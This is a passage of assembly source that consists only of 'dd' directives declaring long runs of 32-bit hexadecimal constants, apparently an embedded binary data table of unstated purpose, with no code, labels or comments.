		dd 631DA09Bh, 0BCAF20A4h, 7C23158h, 80A4A2F1h, 10CA3981h
		dd 5E23318h, 0BF78B43Eh, 0EA9C401Ch, 7D90163Dh,	672BDA00h
		dd 5B7F7603h, 0F8E0015Dh, 850D6452h, 0C3020C0h,	0D9948C91h
		dd 686E8068h, 0B96C23D4h, 66C7C1A4h, 48AC4168h,	9A15F40Fh
		dd 5C18B9C0h, 18C30C6Eh, 0B1DCA144h, 8E141F30h,	0BC8EACCh
		dd 814204Fh, 90B386Ch, 9140173Fh, 0A0F78EB0h, 36A0CADh
		dd 491C7C8Eh, 6C232477h, 0CED5C701h, 9318B501h,	0CFCD88h
		dd 0E60143D5h, 89A9C363h, 64454B24h, 0EAAA2700h, 5ACB225h
		dd 3AF324B6h, 4518C0F0h, 53C5206h, 77D960EEh, 0AE25497h
		dd 27DD1B35h, 0E14D1AE8h, 94441047h, 963E5860h,	42ADB601h
		dd 0B98F360Bh, 0D2E940E0h, 3AE43A70h, 5F00C395h, 0F90EB144h
		dd 0FB0048D6h, 0F1960469h, 1223D9B4h, 8B24879Ch, 8DD84D8h
		dd 44AB5030h, 0AAC634Dh, 0C8E8EE1Eh, 59F07A94h,	5E5EB888h
		dd 0D8B4F193h, 4430B20Bh, 1C132189h, 0CCC01D4h,	0E1D52D46h
		dd 7C93078h, 2BA59201h,	0A85CA248h, 13DEC24h, 333F1C47h
		dd 3051F589h, 7324B321h, 37BC400Bh, 0A0825904h,	0D588414Ah
		dd 68085218h, 704C23D8h, 683B6ACBh, 0C14102C8h,	0E0D71702h
		dd 26132488h, 25808C22h, 0F6655882h, 0E003E962h, 96D250E3h
		dd 1B004852h, 0D9BB1DABh, 99F6B979h, 18890760h,	9807A9A7h
		dd 0D8FCA3B2h, 1B091800h, 0AB528AACh, 44109808h, 0ED0FF7A0h
		dd 0C5C00A3Bh, 248E39C5h, 63C00E88h, 48D22024h,	0FA64102Ah
		dd 0A0F4888Ch, 0F97C9E19h, 0B0442988h, 85B4B804h, 1F37E500h
		dd 9663EB0Bh, 0A64430h,	0C2538E39h, 0F698B4EAh,	0F013AD01h
		dd 0BF69AAB0h, 9C0FE07Fh, 9F67F80Ch, 0A082F085h, 241C04D8h
		dd 12BCE8FAh, 3BCD1F1h,	0BC383C4Ah, 51058CB0h, 5A19D8F3h
		dd 0C9ABD440h, 0A0188749h, 4FEC8224h, 2F1045B0h, 88F4CE70h
		dd 0A0DEC016h, 9EE78786h, 3C1E6759h, 949494h, 0E2EC3AD3h
		dd 165364DEh, 53032187h, 0C46F50h, 39A2560Eh, 4443C63h
		dd 5ECA8C30h, 0C4448707h, 8EF20594h, 49BA053h, 4C0B2082h
		dd 18BCA4E9h, 6F490AD1h, 0C488C5A2h, 0D9EA400Fh, 28D78949h
		dd 748F82E3h, 0A283055Bh, 13AD3414h, 9F7C9288h,	6488E51Ah
		dd 2616005h, 4DC502A4h,	3AB897Dh, 2FB8AC40h, 0A0EF1503h
		dd 13A17C74h, 48D71B70h, 2082E2D4h, 42D930EEh, 0DFF0C06Ch
		dd 0A6E0830Bh, 18D0A150h, 1AA204ACh, 408ED27Ch,	0D3C0AE88h
		dd 2E24D7Ch, 0E323F11Bh, 0F8973E49h, 6F80B091h,	2A75835Eh
		dd 0DFA18915h, 0FC4D75D4h, 0FA4C04h, 666C5406h,	3CF7F5B1h
		dd 7B870DA9h, 0C097EAFCh, 947FA53Ah, 142C1090h,	90041638h
		dd 88F08CE8h, 0E9A53382h, 0C8D48759h, 8E222000h, 1866F818h
		dd 29E6C2CDh, 0F0008C2Ah, 8F35D21Eh, 0B3A7145h,	4903CA0Ch
		dd 61C0106Dh, 2684AC7Dh, 1D01B85h, 83C3F022h, 0A59F0009h
		dd 16820E35h, 7861943Bh, 2424BF25h, 1101CF3Ch, 0A4B9102Ch
		dd 8070519Eh, 0E89A60F0h, 3482213Ch, 3A032412h,	49A09044h
		dd 30D63C82h, 0D5086853h, 64862423h, 6B60400Fh,	321C668h
		dd 0BF330CF5h, 88AD1C06h, 96EA2230h, 7A609360h,	0C987543Dh
		dd 88E78C80h, 0DFCCC10h, 5126EE8Ch, 5C232C1Bh, 0BC3014A2h
		dd 0CBBD166Eh, 8E4435B1h, 0C0E0880Ch, 38F34A39h, 64061F28h
		dd 2968C8A0h, 0C062264Fh, 49D230B9h, 0A0A27034h, 0EB80CCA2h
		dd 236A49DAh, 1690C500h, 0DDA6E153h, 8883B0BDh,	0E320A0h
		dd 5F173673h, 62507C83h, 82E058E0h, 0C524A158h,	70A04368h
		dd 1CEB2529h, 0E0082017h, 69756008h, 0EE1415FBh, 58989E04h
		dd 0AE1C0B2Ch, 0CE086989h, 4908D718h, 7035A259h, 4A011FE4h
		dd 721E4C60h, 87E8496Ah, 1EF013Ah, 78EE1D8Dh, 623453D7h
		dd 706E394Bh, 8BA36403h, 0C8C8F78Fh, 3D58FFA7h,	550905FCh
		dd 0DC400DA1h, 0DCBCFB6Eh, 0D7300015h, 0CEE5C734h, 0D5B81F4Fh
		dd 3FFAC000h, 0BFAC8FD2h, 0F161C720h, 0D96600E9h, 0E202D86Eh
		dd 0B94104FBh, 67949296h, 65E04444h, 38CFE600h,	489804A3h
		dd 0AC09A8A5h, 0E8846B9Dh, 0A4085356h, 4BCCC11Fh, 7C2FE9C6h
		dd 0D45AB010h, 3B10004Bh, 7F54A6EFh, 0C0E18F6h,	0A2052577h
		dd 0C1E4DB07h, 9DC1EE08h, 0BCE47202h, 662454B0h, 0AC0BBC8Eh
		dd 0A3C20A8h, 96253B68h, 0E1C0278h, 0C649ACCh, 80F94A24h
		dd 5C74A803h, 0BCC84886h, 0AE7A708h, 4F708903h,	9A40407Eh
		dd 879CA840h, 949C016h,	0AE0F61Eh, 0C4FA8C0h, 297C2F1Dh
		dd 79803E5Dh, 39718AEh,	3BB2670Eh, 8880F9D8h, 84B11393h
		dd 68083C0Ch, 0DE0C0609h, 180D115Ch, 810E5431h,	23D49CCCh
		dd 48C24899h, 8C15E8h, 8C053FE8h, 4E9A2757h, 177AEA2Fh
		dd 80DF913Ch, 80B469C8h, 280D242Ah, 0AC002769h,	0DF2004B6h
		dd 0F3D82460h, 7C8FCA3h, 9D01DB45h, 0E9C4B07Ch,	4B8336Bh
		dd 0CC96E084h, 9E071100h, 0C3A0E404h, 25019650h, 10F09958h
		dd 0DE3E8920h, 64CC2BA4h, 49D860BBh, 0FDA22D52h, 0E5601496h
		dd 4C2EC820h, 3E280697h, 519E44B6h, 6A0088E6h, 104F51D3h
		dd 51B88D57h, 380FBC4Eh, 0CC01688h, 0F8B77F9h, 0A2339163h
		dd 50581E52h, 85441898h, 0E28161h, 0B2D28E88h, 0B627E821h
		dd 13A3CE09h, 9080283Eh, 3685C08h, 89F21B24h, 8CF31815h
		dd 0BC284DE0h, 0EA380CEDh, 0B03917BFh, 5B1EF100h, 0ECDD3B3Dh
		dd 86F300CCh, 0D134DBFh, 0D01215F5h, 0C813E1E7h, 8C8DC8Bh
		dd 347512C0h, 64BC00C4h, 2E908FF7h, 0FCECF338h,	10937EAh
		dd 0F29EF88h, 1A998910h, 44E0670Ch, 0A4CF6010h,	88F6131Dh
		dd 0C98C09Fh, 64013835h, 432A175Dh, 0E1D62ED6h,	0BA13A7A4h
		dd 0B47AFEF8h, 0F8584800h, 7674EF67h, 179CEA1Ch, 90C2B26Eh
		dd 49EED574h, 47FD7D0Ah, 3800E3AEh, 0BAB5029Eh,	5F5700E7h
		dd 0C96452C6h, 3609749Ch, 973DE332h, 81AF9124h,	0C98F6A4h
		dd 0D0DAA8EBh, 21846043h, 256FC183h, 0C4C2AD00h, 24BB74B5h
		dd 0EA1703C5h, 55E9F98Eh, 41CD2198h, 0E4DE0496h, 7AD50054h
		dd 4FBC5F48h, 6EFE241Dh, 0C8149A4Eh, 5FE75A3h, 39830499h
		dd 0D126771Fh, 0A834B096h, 68B90529h, 0C1DC87D9h, 17090B64h
		dd 0CCCA6DC0h, 2527F6D0h, 1C17BEEEh, 0CA801011h, 0B6AD1DF7h
		dd 5CA63499h, 0B04674h
		dd 8EDF0355h, 60C269BCh, 0AF76A984h, 0E8008929h, 65A6DB0h
		dd 16F7413Ah, 3403C5F4h, 0F29CF228h, 9B3F3096h,	0C4629400h
		dd 32A41F10h, 80389087h, 2D3C4BB0h, 34AF4EC6h, 15226620h
		dd 9090B098h, 0F8A2D9FCh, 45A5D0D9h, 611464E8h,	9AD42FE1h
		dd 585007Eh, 894982BAh,	0E492D6A7h, 3F12DC9Bh, 0A5CF40DAh
		dd 0CF48380h, 6099F234h, 7767FB05h, 89D1D849h, 70D45B30h
		dd 15F8472Fh, 0A9093800h, 0F322A693h, 0A49B4C36h, 3181344Dh
		dd 606D2AE1h, 871AD72Dh, 0C0A99823h, 9BC71958h,	84C42610h
		dd 57C5D142h, 1323402Bh, 41F3150Eh, 80C23DCBh, 5672F981h
		dd 0FC8F5FA4h, 87184CFFh, 99891A96h, 946E6CDh, 0F1E3A332h
		dd 4BBEE839h, 0C012C890h, 0B24A4527h, 0B300F2F4h, 0E18C306Eh
		dd 2F22517Ah, 0C81D41CFh, 0C8F0E11h, 0D88BC8E5h, 1D60C004h
		dd 0C15AACC9h, 8B650119h, 0BC14A7FCh, 3C9FDCC7h, 1840414Ah
		dd 0C6E91FC8h, 86A30038h, 9A32CF8Ch, 5D007672h,	0FE542B3Dh
		dd 526020h, 9C65DADBh, 51E71A39h, 0FD8DA212h, 0B0F26CB2h
		dd 13FCFA31h, 0F2EB00C6h, 84CD8EBBh, 0A09585C2h, 5E591464h
		dd 8C00019h, 0D902E1F6h, 309BB711h, 803CDA94h, 1FD14BD3h
		dd 588C94E7h, 4B00DB59h, 0B0A33AA6h, 48620318h,	0B224508Fh
		dd 0A539C0F0h, 76054147h, 1D95F69Eh, 10828CC8h,	24A02815h
		dd 6D5AFCACh, 0F22560CCh, 0C4000650h, 83965F23h, 0C01BBFACh
		dd 43674471h, 0F900B525h, 471E7065h, 0B77694h, 20B1DB1Bh
		dd 301C964Ah, 40CB31D2h, 0AC216C8h, 851CD904h, 27EA33Bh
		dd 0E6D9FA90h, 0FD1C071h, 5007E018h, 0D59A3AC0h, 0E66E8DD2h
		dd 2230269Ch, 44B7AF38h, 0FFFA7600h, 15F15D7h, 0DAA1619Dh
		dd 4BB6ACC6h, 0C0108828h, 0EC3AA2F6h, 5CC8512Eh, 7708923Ch
		dd 0ABE22CF3h, 2CF9C430h, 0D40C8DC0h, 1B390F46h, 5BD1A480h
		dd 3CA0DE10h, 0CC81C82Eh, 0BAC3727h, 0B58995E9h, 7F0B1802h
		dd 46769856h, 0C3850793h, 7B505976h, 6AA3325h, 7414A26Fh
		dd 9612A082h, 8402718h,	0FFD77845h, 6577009Bh, 0B8EF7AC1h
		dd 21C022BFh, 67A5A4F2h, 71F1052Eh, 6B1A0D1Bh, 90882E70h
		dd 4880D60Bh, 149F731Ch, 0E460725Bh, 0D1109458h, 6B160BB1h
		dd 8078378Dh, 7C238F50h, 82019D3Bh, 0C026CD2h, 0D4009852h
		dd 6C9C2087h, 74EDA062h, 667801D8h, 70AC2ACBh, 0D3332898h
		dd 0E0B91068h, 0CEF91Ch, 0ACB7A170h, 5B724438h,	1427695Bh
		dd 796A6260h, 0B12800BDh, 58DE59B0h, 4B9029CAh,	923AF04h
		dd 0A4C89F82h, 786CE387h, 0FD18A682h, 0F0F82404h, 0B8CACE8h
		dd 0DC9D8950h, 10F9D469h, 0B98B2Dh, 0F009AFE1h,	0F6461062h
		dd 57A82002h, 8226BAF5h, 29E6BDCCh, 1111E497h, 0B47ED486h
		dd 32D1A501h, 97C60C0Ah, 71CB841h, 2408546Dh, 9E92DAF3h
		dd 0C05C44F6h, 28C0EACh, 0B7D9BEABh, 0FC5244B5h, 81D4EE3Dh
		dd 0C7CA39D5h, 35DC0FFCh, 58B127BCh, 0DE910817h, 31037380h
		dd 8160BD38h, 0CF198239h, 0AEF000F1h, 2001DEB6h, 0D096160Fh
		dd 5C0CAF04h, 0B11DAB43h, 2A137B1h, 2A8E441h, 0CA4AA54h
		dd 186F86CEh, 78F8CA44h, 97BA10E3h, 7FC18C00h, 591F61Dh
		dd 0AB8814A0h, 23B83B09h, 0C9BE0712h, 1BEC50ACh, 2A04327Fh
		dd 0E5CE0324h, 53A01C81h, 254817FCh, 470C8Ah, 8061DD64h
		dd 88482FABh, 0E8668059h, 18110C67h, 0A9565500h, 680BE470h
		dd 21B35ADCh, 2F98BD7Ch, 523383Bh, 0F5DC90Bh, 3C847E31h
		dd 28E2F4ECh, 0B258DB13h, 5BFC684h, 5E58BEE1h, 0FF001546h
		dd 1323DDFEh, 0A4A8E1CEh, 7C4F803Ch, 671AF003h,	2A9B81B2h
		dd 7EAA3980h, 92576426h, 19414431h, 21931FC1h, 0CD6200D1h
		dd 0C897A4DAh, 4112A87Eh, 6020C2DFh, 1FD309Dh, 25B99A23h
		dd 56DDD878h, 28B6F034h, 0C174676h, 6982BD3Ch, 4FE50050h
		dd 1C84AAAEh, 0DF27869Dh, 0BF1C100Eh, 0CD797Dh,	11C9B5C8h
		dd 6686CB9Dh, 1317C205h, 8800DC8Eh, 70C771ECh, 0EA090078h
		dd 26B6ADB1h, 5C7EF605h, 15980295h, 5EB07ED5h, 0DB171646h
		dd 0C6780714h, 819D70B5h, 4892FFA7h, 17DC1CB6h,	2C8085h
		dd 590A158h, 1095B6B3h,	0C018C0F4h, 20E7751h, 29004073h
		dd 0E74C1F61h, 7B5D693h, 5FD3C62Ch, 0A2689410h,	27B600BCh
		dd 70B75329h, 215105D3h, 0B15C106Dh, 0F2307228h, 0FFD83315h
		dd 0BF3A258Bh, 0A21861C8h, 142A580Ch, 1C17C020h, 66409005h
		dd 1E0B2564h, 653BBB0Eh, 5896E798h, 77806667h, 51886C2h
		dd 0AE54F0C9h, 0D0B4E09Ch, 2C248240h, 80143A0Bh, 0F18C28CAh
		dd 96051BE2h, 6FB2530Ah, 1268E08Ch, 30CA6687h, 6B10EB70h
		dd 89A95A00h, 4149E7E4h, 5E14BC9Ch, 0E2001346h,	0EAB17FECh
		dd 4AEA7745h, 530C8BB7h, 89587094h, 64499800h, 0BB787F22h
		dd 86BD3021h, 8EC271B9h, 0B2C93600h, 9DA4FAAFh,	1E447468h
		dd 0C9A06E70h, 246DF102h, 0D9516EC7h, 5013A840h, 0F8A0C0E9h
		dd 0E3018FADh, 393675A6h, 6080B492h, 0FD95A252h, 4E16A53Ah
		dd 74B3D0A0h, 93F1AB05h, 0D670ADF9h, 6E82C4DAh,	0E05E2026h
		dd 2D722540h, 0F29600ACh, 216F32EAh, 0FA3DB915h, 26188071h
		dd 8F688B76h, 2C09810Fh, 0C5B20258h, 0F11F9639h, 0D4740494h
		dd 473D04AAh, 118810CEh, 748397C0h, 9DDD00C7h, 0E9BE66ADh
		dd 75020522h, 0E08A87CAh, 0D81D0B2Ah, 0DD80AA11h, 700347ADh
		dd 0D00AC330h, 5FF4EE1Eh, 5BC000FFh, 4074A2F0h,	7C348A9Dh
		dd 3CA33960h, 18936244h, 7C8A1E96h, 642038E0h, 681DAC02h
		dd 68076FE3h, 12C3D840h, 47CD228Dh, 49F48964h, 5CA22C00h
		dd 38C9AE74h, 11701DD1h, 96B781ABh, 509CBBA0h, 59F4D71Ch
		dd 0D1620A44h, 0D87064E7h, 7099915Eh, 0C4C0A01Bh, 88016652h
		dd 2D793F20h, 0E8B76A16h, 0F9836A80h, 133B31B5h, 0A4624B58h
		dd 50BE5018h, 0E008391h, 97491381h, 0EF009431h,	0D17D23A2h
		dd 2F064555h, 6854h, 1AD7B40Eh,	0FB04249Dh, 0C4968041h
		dd 1E020AFFh, 2095D2B4h, 1C25E8C4h, 7AA01804h, 503FBD90h
		dd 0F5F9E802h, 7B3C41DDh, 0EE7600C6h, 773F1404h, 819D7925h
		dd 0DF1A9628h, 110A4442h, 7A06FDA4h, 0CFC2C005h, 0B0FD9894h
		dd 320715B8h, 0B03F4D1Bh, 0A24C3B01h, 90B8A0C6h, 1A37CD7h
		dd 0D4E5CB5Bh, 887F9413h, 3251BB8h, 9649A053h, 548028D2h
		dd 6805323Fh, 0B79551F4h, 20770050h, 0F07F1973h, 8B70EA02h
		dd 0E1E0765Dh, 6424D694h, 0BD930B54h, 94974031h, 1C801591h
		dd 5312466h, 1D781DBDh,	93856192h, 89ECACCCh, 1C2F680Ah
		dd 0A0E91388h, 0A65C824Ch, 20B7851Ch, 0F61E1002h, 2C9C7E6Ch
		dd 0E3183424h, 30ACB234h, 96129788h, 6427D8BCh,	86027BA4h
		dd 0F4F46CEEh, 37360900h, 4A6AE6Fh, 7C14A228h, 6200C7A8h
		dd 0F4CAEAF3h, 2FE1D04Dh, 0FEE44412h, 90954849h, 640B3E27h
		dd 0A38048E4h, 5500509Bh, 46674279h, 0B5E1A6h, 0AD188AA1h
		dd 6A040C91h, 784589C0h, 96C264A8h, 1250804Ch, 915ECE43h
		dd 0DEC63D00h, 7BE74B55h, 6E7C007Ah, 9860B27Dh,	0A64F1F86h
		dd 2F7FF088h, 0FC68BFA9h, 0BE02297Bh, 1922743Bh, 2420C02Fh
		dd 9F18A184h, 7018203Ah, 0E2837F4Fh, 10C81A7h, 0CABF18h
		dd 1064A620h, 0D48E775Ah, 0D9C09388h, 5C151Eh, 0D66AAF83h
		dd 0BF523DCBh, 65492160h, 7D0829h, 0D6D35594h, 1DAB3856h
		dd 40A647Ch, 988272F4h,	0AC5D8A39h, 0E527E8A7h,	6005E46Ch
		dd 4FAF70h, 41DAEC58h
		dd 1FBB3511h, 0F7149613h, 0B21CCC0h, 7C34F336h,	0C077E03Dh
		dd 0B36D4470h, 3E5E26B6h, 9323382Eh, 1397C300h,	2ED11DEh
		dd 93FEE54Ah, 516048A0h, 9D5FA2BAh, 440C8030h, 489E141Fh
		dd 6688BC01h, 0D0D5D1C1h, 102CC5FDh, 0D5B9CBB0h, 706DF105h
		dd 0EC30A689h, 810AAB20h, 3079C0h, 8FD527CEh, 41EE6h, 65E4349Bh
		dd 51941BA6h, 38CCA75Eh, 1AF327A4h, 0DADB2000h,	440038B6h
		dd 3F0FD603h, 9056349Fh, 0BFDC1838h, 0EE8B6119h, 0E601DD98h
		dd 0D211F796h, 0B1E55931h, 3B608A20h, 70AF8509h, 74B02488h
		dd 7000AD46h, 671ACABDh, 363F86ACh, 13BEA524h, 0A61BC018h
		dd 0E611D6EDh, 843CF014h, 52D024Bh, 0F027F620h,	89A69C40h
		dd 2E20F48Ah, 12465E50h, 81263C71h, 0F9041B58h,	0EC82DB6Fh
		dd 28CB00E4h, 85F1DA22h, 771A3DB7h, 60F8B924h, 6F971DD2h
		dd 0C62AD507h, 0C5D99A22h, 5893C728h, 0AB220F60h, 56FA17CDh
		dd 0B2AC131Eh, 33963C74h, 26B558BAh, 12C8A9E0h,	350477Ch
		dd 0A42A4520h, 0D0205C4Ch, 0F18C028Bh, 8ED5C09Bh, 0B5ADC4D3h
		dd 0ABCC0084h, 49EE2297h, 3D3C4B74h, 5F2640E4h,	23502FEDh
		dd 0D970E13h, 0AC773202h, 2204A8D1h, 5CAC060Bh,	9E59C20Bh
		dd 6560F8D1h, 0A257A9Dh, 1DB367EBh, 0A3181780h,	59748BD8h
		dd 18AAF188h, 0C1F50091h, 26041B08h, 1E3A0B28h,	68A0308Eh
		dd 0DF982A09h, 80EE0961h, 8326B878h, 79110052h,	0B67E104h
		dd 66160C18h, 927B4F07h, 0B87476BCh, 12467Ch, 0B573111Bh
		dd 302A0CC2h, 99911996h, 7E1E72AFh, 0AC035AD9h,	48995BFh
		dd 0EB204E19h, 89A48429h, 0BCE87C80h, 91058CB0h, 414E9339h
		dd 0EC3D81EFh, 21582C88h, 0D1C0A19h, 0D9884CE0h, 0E6478A7h
		dd 0F0742560h, 48BA8600h, 6D3E3982h, 9968A94Fh,	8C2B2A0Dh
		dd 0DE0FAE23h, 0A3C7C014h, 0B7D1B6Dh, 8DCA1318h, 54A274CEh
		dd 9AB7E87Ah, 0B42C61F0h, 4ECB68C0h, 9EF8C119h,	1E18F052h
		dd 8079C9DFh, 12827E39h, 4255D6h, 9AD088CCh, 0ED2E9622h
		dd 398B3Ah, 8054AD38h, 0E37A9B2h, 0CC2895FCh, 0BE566E60h
		dd 28C3DB22h, 0D7F8FB82h, 0DC00900Eh, 63026AA2h, 3B198DACh
		dd 0F508B47Bh, 0AABB2180h, 314D0D6Ah, 7F00A4FAh, 0CBEA032Ch
		dd 603821ECh, 68D928FCh, 3B032885h, 0B8A69BE0h,	694106F9h
		dd 0F6B62282h, 70C180DFh, 0F80272A0h, 0B06CED00h, 0EFBB0C9h
		dd 86918F74h, 0F82103E7h, 77F103DBh, 1AED72B3h,	9307A83h
		dd 0F9BB21DFh, 0F8F0E77h, 3880CDC8h, 70923E29h,	0CC7E1C00h
		dd 0AB59AFD9h, 9FC00BDh, 4A4DB623h, 76007A9Eh, 5FECAC24h
		dd 56FB897Fh, 9E028CBCh, 8C62F66Ah, 0BF10F431h,	502C6AA6h
		dd 2C03B508h, 0FAEC113h, 0B536C3C9h, 8911AA2Ch,	9C410400h
		dd 0F7DFE320h, 898F528h, 0EBEE217Eh, 20DA4000h,	6A700BE9h
		dd 52A6F6EDh, 1718B041h, 87D10CB7h, 0BAADD70Ch,	0C03F08BFh
		dd 38CF0E21h, 580046CEh, 37A642Eh, 28B6A8F7h, 58BCFA6Eh
		dd 72188A9Eh, 0C37DC1E4h, 159CCE3Fh, 0C9317h, 4F61CAE7h
		dd 3C4A3D7Dh, 5C1C3430h, 3A468DEh, 0FBABCBA8h, 31000B71h
		dd 0F0FAD7F3h, 0B0D34Ah, 40AE891Dh, 6F829FCCh, 0CAECB600h
		dd 0F2B4A3CFh, 90FE05F3h, 159E5680h, 0BC4248E7h, 0D833F7F2h
		dd 0F613CA44h, 0F49B009Fh, 47CA138h, 0A8D0EBDEh, 1DA823A0h
		dd 0D1F284B9h, 204062B7h, 1C38D0F8h, 7858548h, 5E55947Ch
		dd 4AD1F90h, 26920F93h,	85835B32h, 0B6A0B1C9h, 0F3F29131h
		dd 48385801h, 50302D92h, 219D0898h, 0F3036370h,	953739F9h
		dd 0D0480009h, 0D2053A41h, 13034F40h, 0B86ED3E8h, 5A620755h
		dd 90B131B4h, 95D961B6h, 803D48DEh, 0B68F27Eh, 66AD0D72h
		dd 21980913h, 0F2865400h, 0B8E8BAECh, 38BF00C8h, 0E30D1F22h
		dd 0DC00FF26h, 7E6F9E17h, 0C0AE7B9Ah, 2AFB3AA1h, 6CA55AF3h
		dd 0EE60AA64h, 0F507C38Ch, 784EF902h, 0B18B03F0h, 0D3AF0A13h
		dd 74982DCDh, 0B000A846h, 84FD4B0Bh, 0DF0072ACh, 16DC99D3h
		dd 69FB94Ah, 6704285Fh,	5C036895h, 0EC5E314Ch, 9600A4B2h
		dd 2D59F256h, 908D3606h, 60086E35h, 5E6F21C2h, 30FD01F2h
		dd 2FF297DCh, 0A6DC9A03h, 649325A9h, 607FB888h,	2356F359h
		dd 0A4117838h, 0F3616E00h, 0BDA08EC1h, 0F77051F2h, 0D9A2703h
		dd 0D09B0119h, 50AD78B0h, 8C833094h, 38C35D50h,	22305852h
		dd 6572009Eh, 0E82780F3h, 0EF7CB25Fh, 0C062F8C8h, 2D5DF25Ah
		dd 0BA225646h, 0F262730Fh, 6AC00E5h, 0CCE3368h,	2BCCD57Dh
		dd 29002D89h, 0E1370F45h, 174D69Dh, 26FDBDD9h, 83B5A62Fh
		dd 0CD210D48h, 4FD016A7h, 0C0EA1035h, 18CBBBCh,	5C34C0DFh
		dd 0D025F17Ah, 33602C89h, 13A4F89h, 84D70F35h, 0BFA7F943h
		dd 2D26E1D3h, 40B117CEh, 0A80090E9h, 924867FBh,	35890C08h
		dd 55C94917h, 77E4A0A1h, 199C2896h, 0FDEF00E4h,	6C81C7E6h
		dd 12030208h, 2A4CA433h, 0C2DB04h, 4B7B5948h, 32CE66B1h
		dd 6B1151C3h, 5CA8E0D5h, 66B272B0h, 2115086Ch, 0D563731Ch
		dd 0EA2640C0h, 7F5F67Ah, 0C1AAF33Dh, 0B9C843ADh, 8AAB9100h
		dd 9E9CE8BFh, 150BD02h,	0B7F53439h, 1222208Ch, 0F498A881h
		dd 54805C11h, 462D57F2h, 7100B0A7h, 0BC7DF25Ch,	58378E0h
		dd 0EBFDA53Dh, 612848A4h, 5CF259C0h, 226E462Dh,	617600B9h
		dd 60502AF2h, 1700888Eh, 9ECA5CAEh, 0E513B651h,	0AA552981h
		dd 0D1E40DF0h, 62FED0F1h, 77063A01h, 0C1172BEEh, 0F79FAC40h
		dd 29A66433h, 6274C2F0h, 11F27B30h, 887A0B69h, 8355809Fh
		dd 0A76C3BF2h, 0A8A8AFE2h, 191213C9h, 809B599h,	26B421E1h
		dd 39B2BB2Ch, 7D306068h, 0B6711F2h, 85A0886Ah, 80F28553h
		dd 5201178Ch, 3030F928h, 79B8C833h, 0A0BCE3F6h,	2C50FB4Ch
		dd 13AC3A49h, 0D7F4010Fh, 3189277Ch, 84F84230h,	0F6F35E30h
		dd 80604338h, 0F6F36673h, 642E20Dh, 611FC5BAh, 0FCA75801h
		dd 0C160C244h, 0C8297EA7h, 0C1712024h, 25059F18h, 0B9BB23A9h
		dd 506FE413h, 0C8E616h,	2FF48745h, 48C8EEB8h, 0F277C05Eh
		dd 5A460B65h, 51009B22h, 0D445F27Fh, 0BE1BD30h,	5B952D3Ah
		dd 872F6905h, 0C9C500A8h, 0C3F82CFFh, 23C0C452h, 0F35C0186h
		dd 18503859h, 647188A9h, 0F535F300h, 0B59DAE41h, 88B05415h
		dd 4775302Bh, 0DC41B659h, 8F332618h, 91A3AA1h, 5653D039h
		dd 0B4DA6481h, 0BFA5DDA4h, 54CD8030h, 18E0DDB0h, 629209BBh
		dd 101D56DAh, 6B80AB11h, 0C724AE11h, 18976800h,	7220511Dh
		dd 78C048AAh, 268C97E8h, 1C8D71AEh, 4D82408Eh, 5CCCD46Dh
		dd 0D6F9C913h, 1423883Ah, 69901200h, 16BA001h, 0D67761C5h
		dd 224BD339h, 30B9F244h, 0BB0097DCh, 0C7C42F20h, 5DFE9C0h
		dd 0CB020626h, 38A0202Dh, 1148853Fh, 0E8105898h, 61008CBAh
		dd 3D18217Fh, 4CAE72C1h, 0B0223847h, 0B00F343Fh, 0A48D6006h
		dd 2FF4E5DBh, 0F51718B0h, 63861822h, 8F0CD948h,	3E1DE187h
		dd 0D3CD05h, 0FC5118A9h, 75532073h, 0D22DE000h,	0AB6A1A72h
		dd 176E1DB4h, 579CCAC6h, 0DB204DCh, 5FE0D25Bh, 13F25730h
		dd 383E2D5Ah, 5F007000h, 0A85621F2h, 90AC131Bh,	20E498E0h
		dd 502C9CE1h, 4676345Bh, 0B8EF1EB9h, 9D230800h,	0D53DB8Eh
		dd 92372678h, 6D8060F9h, 9A48240h, 0FA83C2Bh, 605C20A4h
		dd 2463F279h, 70FC4A0Bh, 0F20E814Fh, 23707602h,	0C033BE18h
		dd 912989ABh, 60A10548h, 23642E24h, 146205BFh, 19DD0F4Ch
		dd 44B0ACEDh
		dd 0C0509B78h, 0BDEF71D1h, 4BF02E0Fh, 808191F8h, 3854F357h
		dd 0C1F09168h, 30F35F6Ch, 0CF03622Bh, 0CD48A180h, 9A410721h
		dd 90C136F1h, 8A27D1DFh, 43E6610Bh, 0BA4801Eh, 4C5F1BB7h
		dd 0A39DD4A1h, 66F27801h, 433620Bh, 0F2805280h,	4C00B3CCh
		dd 74D27BA1h, 148DD808h, 0E8BDAA50h, 1EA62111h,	457D8923h
		dd 9DE23822h, 8934A033h, 759A0982h, 0E0801418h,	0F9C241E0h
		dd 2BB70206h, 0B1C8AE43h, 189ED114h, 1BFD4CA8h,	27978A0Fh
		dd 0BB16CE60h, 0EB1452EFh, 7AA82E75h, 0B6000492h, 0F3E73054h
		dd 928F27h, 3F6DDD17h, 1B03B05Dh, 0E488A763h, 89300BAEh
		dd 40AE9D30h, 59E71CA7h, 1939AC21h, 989B04ADh, 0D600BBD7h
		dd 9C5CDC4Fh, 804E00F7h, 0C7023A50h, 0A7254DEEh, 182429A5h
		dd 0F5254030h, 0E7D5DE0h, 0B5F53050h, 80209E72h, 74568170h
		dd 84D1059Fh, 801F89A8h, 0ACA6DDFEh, 0B781E369h, 452F80ACh
		dd 5E76E514h, 0ABEB22h,	4BACAD47h, 0EA9374FCh, 66865C07h
		dd 0B4751915h, 0B6319701h, 30A57510h, 0CD808037h, 976F83F9h
		dd 5A9A1E72h, 3245166h,	89FB52Ch, 1910981Ch, 9CA70B8Fh
		dd 0E688E35Ah, 0AAD9FB4h, 2F0A965h, 0AA352BEEh,	1C586862h
		dd 0E854B148h, 0F6008CA1h, 0B5D36368h, 27C8E441h, 441D946Fh
		dd 0EA80AA91h, 0AE39228Dh, 0D6008275h, 0C3F074Fh, 48030413h
		dd 0D11454B2h, 61D9AC30h, 14032C8h, 0C6FCC55Ah,	68230780h
		dd 4C50C83Fh, 4085008Ch, 0A6F8CC75h, 0B71E0DE0h, 3541662Ah
		dd 0D6FAC613h, 1A933D30h, 408E7D41h, 0FB0889C0h, 18FB8C90h
		dd 78D50864h, 1AC454A8h, 0D55CC05Dh, 758E274Bh,	15FB5100h
		dd 0ACF2E0BDh, 0A6322C89h, 6358B2CCh, 11D56830h, 8874A87Ch
		dd 6070801Fh, 43FEE7D5h, 0BC2B720Fh, 0AAEDCBC5h, 46749C1Ch
		dd 683700BDh, 0D99C60E6h, 53A1D4Fh, 0E1060086h,	0B0ACA8D6h
		dd 0C06358C8h, 2D5EF25Bh, 74180EE5h, 2DFF7863h,	7953C301h
